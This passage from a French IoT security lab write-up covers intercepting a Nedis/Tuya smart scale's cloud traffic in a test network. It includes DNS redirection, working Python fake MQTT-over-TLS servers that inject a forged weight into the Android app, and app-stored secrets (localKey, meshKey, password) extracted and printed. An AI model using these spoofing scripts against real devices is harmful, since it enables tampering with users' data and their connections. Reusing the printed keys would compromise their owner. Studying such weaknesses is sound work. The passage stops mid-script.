14:46:51.703179 IP 172.16.10.102.57661 &amp;gt; 172.16.10.1.53: 30982+ AAAA? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.706085 IP 172.16.10.102.57662 &amp;gt; 172.16.10.1.53: 15654+ A? a1.tuyaeu.com. (31)&lt;br /&gt;
14:46:51.713159 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57661: 30982 3/0/0 AAAA 2a05:d014:afa:af02:262a:be09:e328:ff21, AAAA 2a05:d014:afa:af01:87dc:dc67:35a1:5bfe, AAAA 2a05:d014:afa:af00:1ee2:1f00:e061:e8bf (115)&lt;br /&gt;
14:46:51.715736 IP 172.16.10.1.53 &amp;gt; 172.16.10.102.57662: 15654 3/0/0 A 3.78.92.3, A 35.159.150.3, A 3.121.33.91 (79)&lt;br /&gt;
&lt;br /&gt;
56 packets captured&lt;br /&gt;
56 packets received by filter&lt;br /&gt;
0 packets dropped by kernel&lt;br /&gt;
[4343449.827028] device eth1 left promiscuous mode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;visiblement notre balance communique avec tuya via m2.tuyaeu.com et a3.tuyaeu.com. Par la suite on constate qu'elle communique avec une multitude de XY.tuyaeu.com.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant on refait une config similaire à moodle.com, une zone &amp;quot;tuyaeu.com&amp;quot; dans le fichier de conf de bind, un fichier db.tuyaeu.com et une page apache. Enfin on vient la signer avec notre autorité de certification.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;tcpdump -i eth1 -n port 53&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
12:30:58.490060 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 50294+ A? m2.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.490174 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 50294* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
12:30:58.540041 IP 172.16.10.105.49153 &amp;gt; 172.16.10.1.53: 23785+ A? a3.tuyaeu.com. (31)&lt;br /&gt;
12:30:58.540132 IP 172.16.10.1.53 &amp;gt; 172.16.10.105.49153: 23785* 2/0/0 CNAME ns.tuyaeu.com., A 172.16.10.1 (64)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Maintenant on constate que quand la balance demande l'adresse du serveur xy.tuyaeu.com, notre DNS lui répond avec l'IP de notre serveur. &lt;br /&gt;
&lt;br /&gt;
On va créer un faux serveur pour déchiffrer ce que nous dit la balance.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
root@SE5:/etc/apache2/sites-available# openssl s_server -accept 8886 -cert /etc/ssl/apache/ca.crt -key /etc/ssl/apache/ca.key -debug&lt;br /&gt;
Using default temp DH parameters&lt;br /&gt;
ACCEPT&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c45c0 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c45c0 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db203] (5 bytes =&amp;gt; 5 (0x5))&lt;br /&gt;
0000 - 16 03 03 00 3e                                    ....&amp;gt;&lt;br /&gt;
read from 0x55b0357c2410 [0x55b0357db208] (62 bytes =&amp;gt; 62 (0x3E))&lt;br /&gt;
0000 - 01 00 00 3a 03 03 42 41-6f 68 42 41 6f 68 62 6d   ...:..BAohBAohbm&lt;br /&gt;
0010 - 64 36 61 47 39 31 49 46-52 31 65 56 6a 61 47 35   d6aG91IFR1eVjaG5&lt;br /&gt;
0020 - 76 62 47 39 53 42 00 00-04 00 ae 00 ff 01 00 00   vbG9SB..........&lt;br /&gt;
0030 - 0d 00 01 00 01 02 00 16-00 00 00 17 00 00         ..............&lt;br /&gt;
write to 0x55b0357c2410 [0x55b0357e4430] (7 bytes =&amp;gt; 7 (0x7))&lt;br /&gt;
0000 - 15 03 03 00 02 02 28                              ......(&lt;br /&gt;
ERROR&lt;br /&gt;
801B7259B87F0000:error:0A0000C1:SSL routines:tls_post_process_client_hello:no shared cipher:../ssl/statem/statem_srvr.c:2220:&lt;br /&gt;
shutting down SSL&lt;br /&gt;
CONNECTION CLOSED&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate que dès que la balance tente de se connecter elle ferme la connexion pour cause &amp;quot;no shared cipher&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Malheureusement, je constate (un peu tard) que notre balance ne pourra pas communiquer avec notre serveur puisque qu'elle ne possède pas le certificat de notre autorité de certification. Elle refuse donc de communiquer avec notre serveur.&lt;br /&gt;
&lt;br /&gt;
Il faudrait réussir un injecter le certificat dans la balance en communicant directement avec elle.&lt;br /&gt;
&lt;br /&gt;
== Envoi de fausses informations vers l'application ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, nous allons tenter d'envoyer un poids à l'application depuis notre serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'appli tape sur 443 et 8883 (mqtt qui fonctionne avec tls) comme on peut le voir sur cet extrait:&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# tcpdump -i eth1 -n src 172.16.10.102 and not port 53&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:46.829382 IP 172.16.10.102.53314 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:47.005041 IP 172.16.10.102.54915 &amp;gt; 172.16.10.255.54915: UDP, length 263&lt;br /&gt;
11:59:47.295737 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.346713 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [S], seq 1755898328, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
11:59:47.347853 IP 172.16.10.102.53315 &amp;gt; 172.16.10.1.443: Flags [.], ack 273869652, win 255, length 0&lt;br /&gt;
11:59:47.534641 IP 172.16.10.102.53318 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
11:59:48.189587 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [P.], seq 517:547, ack 1256, win 251, length 30&lt;br /&gt;
11:59:48.190681 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [.], ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.256593 IP 172.16.10.102.53319 &amp;gt; 172.16.10.1.443: Flags [F.], seq 547, ack 1257, win 251, length 0&lt;br /&gt;
11:59:48.324124 IP 172.16.10.102.53313 &amp;gt; 172.16.10.1.8883: Flags [S], seq 3014816869, win 65535, options [mss 1460,nop,wscale 8,nop,nop,sackOK], length 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On va donc tenter d'envoyer des informations erronés de notre serveur vers notre application.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va tenter d'établir une connexion sécurisé entre l'appli et notre serveur.&lt;br /&gt;
&lt;br /&gt;
Tuya utilise un protocole MQTT pour les échanges de données. On va donc simuler un serveur MQTT en python qui utilise un certificat signé par notre autorité de certification.&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/apache2/ssl/tuya.crt&amp;quot; &lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/apache2/ssl/tuya.key&amp;quot;  &lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    try:&lt;br /&gt;
        context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
    except Exception as e:&lt;br /&gt;
        print(f&amp;quot;impossible de charger les clés SSL\n{e}&amp;quot;)&lt;br /&gt;
        return&lt;br /&gt;
&lt;br /&gt;
    bindsocket = socket.socket()&lt;br /&gt;
    bindsocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    bindsocket.bind(('0.0.0.0', PORT))&lt;br /&gt;
    bindsocket.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;faux Serveur MQTT en écoute sur le port {PORT}...&amp;quot;)&lt;br /&gt;
    print(&amp;quot;en attente de l'application Android...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            newsocket, fromaddr = bindsocket.accept()&lt;br /&gt;
            print(f&amp;quot;\nconnexion TCP reçue de {fromaddr[0]}&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            try:&lt;br /&gt;
                conn = context.wrap_socket(newsocket, server_side=True)&lt;br /&gt;
                print(f&amp;quot;handshake SSL réussi&amp;quot;)&lt;br /&gt;
                &lt;br /&gt;
                data = conn.recv(1024)&lt;br /&gt;
                print(f&amp;quot;données reçues ({len(data)} octets) :&amp;quot;)&lt;br /&gt;
                print(data)&lt;br /&gt;
                &lt;br /&gt;
            except ssl.SSLError as e:&lt;br /&gt;
                print(f&amp;quot;échec SSL rejet du certificat.\n{e}&amp;quot;)&lt;br /&gt;
            except Exception as e:&lt;br /&gt;
                print(f&amp;quot;erreur de lecture : {e}&amp;quot;)&lt;br /&gt;
            finally:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
        except KeyboardInterrupt:&lt;br /&gt;
            print(&amp;quot;\narrêt.&amp;quot;)&lt;br /&gt;
            break&lt;br /&gt;
&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    start_server()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
connexion TCP reçue de 172.16.10.102&lt;br /&gt;
handshake SSL réussi&lt;br /&gt;
données reçues (529 octets) :&lt;br /&gt;
b'\x10\x8e\x04\x00\x04MQTT\x04\xce\x00&amp;lt;\x00lcom.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT\x00\x0ftuya/smart/will\x00\xfa{&amp;quot;clie&lt;br /&gt;
ntId&amp;quot;:&amp;quot;com.nedis.smartlife_mb_e5a1220d6003e352f8b34a81cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc_DEFAULT&amp;quot;,&amp;quot;deviceType&amp;quot;:&amp;quot;ANDROID&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;userName&amp;quot;:&amp;quot;e5a1220d6003e352f8b34a81&lt;br /&gt;
cda1f2bf2e2880ce4093_d8439672c8e94a0c3446d4276d3a2abc&amp;quot;}\x00up1027735_v1_4dtc78phe7grtfdfv7fp_a4206d71_mb_eu17623708062605mpDdzpA355dad9b8086f63442d98e227e039cf5315158b056398c8fb\x00\x10388c&lt;br /&gt;
a5a77b82c5ad'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On constate à la suite de cela que notre application fait totalement confiance à notre faux serveur. Il faut maintenant le format sous lequel envoyer notre message pour quelle ajoute un poids dans l'application.&lt;br /&gt;
&lt;br /&gt;
On tente donc d'envoyer en clair le poids vers l'application de Nedis&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
(test) root@SE5:~/py_file# cat fake_serv2.py &lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIGURATION =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
PAYLOAD_POIDS = {&lt;br /&gt;
    &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
    &amp;quot;t&amp;quot;: int(time.time()),&lt;br /&gt;
    &amp;quot;data&amp;quot;: {&lt;br /&gt;
        &amp;quot;dps&amp;quot;: {&lt;br /&gt;
            &amp;quot;1&amp;quot;: 8050,&lt;br /&gt;
            &amp;quot;2&amp;quot;: True,&lt;br /&gt;
            &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
# =================================================&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # ================= HANDLERS =================&lt;br /&gt;
&lt;br /&gt;
                # CONNECT&lt;br /&gt;
                if pkt_type == 1:&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT reçu&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; CONNACK envoyé&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # SUBSCRIBE&lt;br /&gt;
                elif pkt_type == 8:&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # SUBACK (QoS 1 accepté)&lt;br /&gt;
                    suback_payload = msg_id + b&amp;quot;\x01&amp;quot;&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, suback_payload))&lt;br /&gt;
                    print(&amp;quot;&amp;lt;&amp;lt;&amp;lt; SUBACK OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    # Mapping OUT -&amp;gt; IN&lt;br /&gt;
                    pub_topic = topic.replace(&amp;quot;/out/&amp;quot;, &amp;quot;/in/&amp;quot;)&lt;br /&gt;
                    print(f&amp;quot;Publication sur : {pub_topic}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    time.sleep(0.5)&lt;br /&gt;
&lt;br /&gt;
                    json_payload = json.dumps(PAYLOAD_POIDS)&lt;br /&gt;
                    topic_bytes = pub_topic.encode()&lt;br /&gt;
&lt;br /&gt;
                    var_header = struct.pack(&amp;quot;!H&amp;quot;, len(topic_bytes)) + topic_bytes&lt;br /&gt;
                    packet_payload = var_header + json_payload.encode()&lt;br /&gt;
&lt;br /&gt;
                    # PUBLISH QoS 1&lt;br /&gt;
                    packet = create_mqtt_packet(3, 0x02, packet_payload)&lt;br /&gt;
                    conn.send(packet)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;Payload envoyé (NON chiffré)&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                # PINGREQ&lt;br /&gt;
                elif pkt_type == 12:&lt;br /&gt;
                    conn.send(b&amp;quot;\xd0\x00&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                else:&lt;br /&gt;
                    print(f&amp;quot;Packet MQTT type {pkt_type} ignoré&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        except Exception as e:&lt;br /&gt;
            print(f&amp;quot;Erreur connexion : {e}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        finally:&lt;br /&gt;
            try:&lt;br /&gt;
                conn.close()&lt;br /&gt;
            except:&lt;br /&gt;
                pass&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    start_server()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On cherche dans le fichier shared_prefs situé dans /data/data/com.nedis.smartlife sur la VM android une clé local qui permettrai de chiffrer le message pour que Nedis l'accepte.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
 emulator64_x86_64_arm64:/data/data/com.nedis.smartlife/shared_prefs # grep -r &amp;quot;localKey&amp;quot;&lt;br /&gt;
&lt;br /&gt;
./sig_mesh_storage.xml:    &amp;lt;string name=&amp;quot;sig_mesheu176237y8062605m7Ddzpr3a6d803edeb314f364c55d2caab540918&amp;quot;&amp;gt;[{&amp;amp;quot;appkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;code&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;endTime&amp;amp;quot;:0,&amp;amp;quot;ivIndex&amp;amp;quot;:0,&amp;amp;quot;key&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;localKey&amp;amp;quot;:&amp;amp;quot;674d29fb978a1705&amp;amp;quot;,&amp;amp;quot;meshId&amp;amp;quot;:&amp;amp;quot;mebf11e37fc6632a9b44qg&amp;amp;quot;,&amp;amp;quot;meshKey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;meshkey&amp;amp;quot;:&amp;amp;quot;2FC5C9F42A44F9D243F960231C370DC6&amp;amp;quot;,&amp;amp;quot;name&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;netWorkkey&amp;amp;quot;:&amp;amp;quot;D8FBEEA2F2B93F4B63EFD7DA83424BA9&amp;amp;quot;,&amp;amp;quot;password&amp;amp;quot;:&amp;amp;quot;fa1667ca872e46d4&amp;amp;quot;,&amp;amp;quot;pv&amp;amp;quot;:&amp;amp;quot;2.1&amp;amp;quot;,&amp;amp;quot;resptime&amp;amp;quot;:0,&amp;amp;quot;share&amp;amp;quot;:false,&amp;amp;quot;startTime&amp;amp;quot;:0,&amp;amp;quot;tempShare&amp;amp;quot;:false}]&amp;lt;/string&amp;gt; &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Je vais apprendre plus tard que cette clé est une clé qui permet de sécuriser l'échange Bluetooth entre la balance et le téléphone lors de la première connexion. Mais avant de le savoir, j'ai tenté d'améliorer le faux serveur avec cette clé.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import socket&lt;br /&gt;
import ssl&lt;br /&gt;
import time&lt;br /&gt;
import json&lt;br /&gt;
import struct&lt;br /&gt;
import base64&lt;br /&gt;
import hashlib&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from Crypto.Util.Padding import pad&lt;br /&gt;
&lt;br /&gt;
# ================= CONFIG =================&lt;br /&gt;
CERT_FILE = &amp;quot;/etc/ssl/apache/ssl/tuya.crt&amp;quot;&lt;br /&gt;
KEY_FILE  = &amp;quot;/etc/ssl/apache/ssl/tuya.key&amp;quot;&lt;br /&gt;
PORT = 8883&lt;br /&gt;
&lt;br /&gt;
# LOCAL KEY 16 caractères&lt;br /&gt;
LOCAL_KEY = b&amp;quot;674d29fb978a1705&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# DPS balance (poids correct pour Nedis)&lt;br /&gt;
DPS_POIDS = {&lt;br /&gt;
    &amp;quot;1&amp;quot;: 8050,   # 80.50 kg&lt;br /&gt;
    &amp;quot;2&amp;quot;: 1,      # stable&lt;br /&gt;
    &amp;quot;3&amp;quot;: &amp;quot;kg&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
# =========================================&lt;br /&gt;
&lt;br /&gt;
# ---------- TUYA CRYPTO ----------&lt;br /&gt;
def tuya_encrypt(data: dict, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    raw = json.dumps(data, separators=(',', ':')).encode()&lt;br /&gt;
    cipher = AES.new(local_key, AES.MODE_ECB)&lt;br /&gt;
    encrypted = cipher.encrypt(pad(raw, 16))&lt;br /&gt;
    return base64.b64encode(encrypted).decode()&lt;br /&gt;
&lt;br /&gt;
def tuya_sign(enc_data: str, ts: int, local_key: bytes) -&amp;gt; str:&lt;br /&gt;
    s = f&amp;quot;data={enc_data}&amp;amp;t={ts}&amp;amp;key={local_key.decode()}&amp;quot;&lt;br /&gt;
    return hashlib.md5(s.encode()).hexdigest()&lt;br /&gt;
&lt;br /&gt;
def build_tuya_payload(dps: dict, device_id: str) -&amp;gt; dict:&lt;br /&gt;
    ts = int(time.time())&lt;br /&gt;
    enc = tuya_encrypt({&lt;br /&gt;
        &amp;quot;devId&amp;quot;: device_id,&lt;br /&gt;
        &amp;quot;dps&amp;quot;: dps&lt;br /&gt;
    }, LOCAL_KEY)&lt;br /&gt;
    sign = tuya_sign(enc, ts, LOCAL_KEY)&lt;br /&gt;
    return {&lt;br /&gt;
        &amp;quot;protocol&amp;quot;: 4,&lt;br /&gt;
        &amp;quot;t&amp;quot;: ts,&lt;br /&gt;
        &amp;quot;data&amp;quot;: enc,&lt;br /&gt;
        &amp;quot;sign&amp;quot;: sign&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
def extract_device_id(topic: str) -&amp;gt; str:&lt;br /&gt;
    return topic.split(&amp;quot;/&amp;quot;)[-1]&lt;br /&gt;
&lt;br /&gt;
# ---------- MQTT UTILS ----------&lt;br /&gt;
def encode_remaining_length(length):&lt;br /&gt;
    out = bytearray()&lt;br /&gt;
    while True:&lt;br /&gt;
        byte = length % 128&lt;br /&gt;
        length //= 128&lt;br /&gt;
        if length &amp;gt; 0:&lt;br /&gt;
            byte |= 0x80&lt;br /&gt;
        out.append(byte)&lt;br /&gt;
        if length == 0:&lt;br /&gt;
            break&lt;br /&gt;
    return out&lt;br /&gt;
&lt;br /&gt;
def create_mqtt_packet(pkt_type, flags, payload):&lt;br /&gt;
    header = bytes([(pkt_type &amp;lt;&amp;lt; 4) | flags])&lt;br /&gt;
    return header + encode_remaining_length(len(payload)) + payload&lt;br /&gt;
&lt;br /&gt;
# ---------- SERVER ----------&lt;br /&gt;
def start_server():&lt;br /&gt;
    context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)&lt;br /&gt;
    context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE)&lt;br /&gt;
&lt;br /&gt;
    sock = socket.socket()&lt;br /&gt;
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)&lt;br /&gt;
    sock.bind((&amp;quot;0.0.0.0&amp;quot;, PORT))&lt;br /&gt;
    sock.listen(5)&lt;br /&gt;
&lt;br /&gt;
    print(f&amp;quot;[*] Serveur MQTT TLS Tuya prêt sur {PORT}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    published_topics = set()&lt;br /&gt;
&lt;br /&gt;
    while True:&lt;br /&gt;
        client, addr = sock.accept()&lt;br /&gt;
        print(f&amp;quot;\n[+] Connexion de {addr[0]}&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        try:&lt;br /&gt;
            conn = context.wrap_socket(client, server_side=True)&lt;br /&gt;
            print(&amp;quot;TLS OK&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            while True:&lt;br /&gt;
                header = conn.recv(1)&lt;br /&gt;
                if not header:&lt;br /&gt;
                    break&lt;br /&gt;
&lt;br /&gt;
                pkt_type = header[0] &amp;gt;&amp;gt; 4&lt;br /&gt;
&lt;br /&gt;
                # Remaining length&lt;br /&gt;
                multiplier = 1&lt;br /&gt;
                remaining_len = 0&lt;br /&gt;
                while True:&lt;br /&gt;
                    b = conn.recv(1)[0]&lt;br /&gt;
                    remaining_len += (b &amp;amp; 127) * multiplier&lt;br /&gt;
                    multiplier *= 128&lt;br /&gt;
                    if not (b &amp;amp; 128):&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
                payload = b&amp;quot;&amp;quot;&lt;br /&gt;
                while len(payload) &amp;lt; remaining_len:&lt;br /&gt;
                    payload += conn.recv(remaining_len - len(payload))&lt;br /&gt;
&lt;br /&gt;
                # -------- HANDLERS --------&lt;br /&gt;
                if pkt_type == 1:  # CONNECT&lt;br /&gt;
                    print(&amp;quot;&amp;gt;&amp;gt;&amp;gt; CONNECT&amp;quot;)&lt;br /&gt;
                    conn.send(b&amp;quot;\x20\x02\x00\x00&amp;quot;)  # CONNACK OK&lt;br /&gt;
&lt;br /&gt;
                elif pkt_type == 8:  # SUBSCRIBE&lt;br /&gt;
                    msg_id = payload[0:2]&lt;br /&gt;
                    topic_len = struct.unpack(&amp;quot;!H&amp;quot;, payload[2:4])[0]&lt;br /&gt;
                    topic = payload[4:4+topic_len].decode(errors=&amp;quot;ignore&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
                    print(f&amp;quot;&amp;gt;&amp;gt;&amp;gt; SUBSCRIBE : {topic}&amp;quot;)&lt;br /&gt;
                    conn.send(create_mqtt_packet(9, 0x00, msg_id + b&amp;quot;\x01&amp;quot;))  # SUBACK QoS 1&lt;br /&gt;
&lt;br /&gt;
                    # Publication automatique&lt;br /&gt;
                    device_id = extract_device_id(topic)&lt;br /&gt;
                    tuya_payload = build_tuya_payload(DPS_POIDS, device_id)&lt;br /&gt;
                    json_payload = json.dumps(tuya_payload)&lt;br /&gt;
&lt;br /&gt;
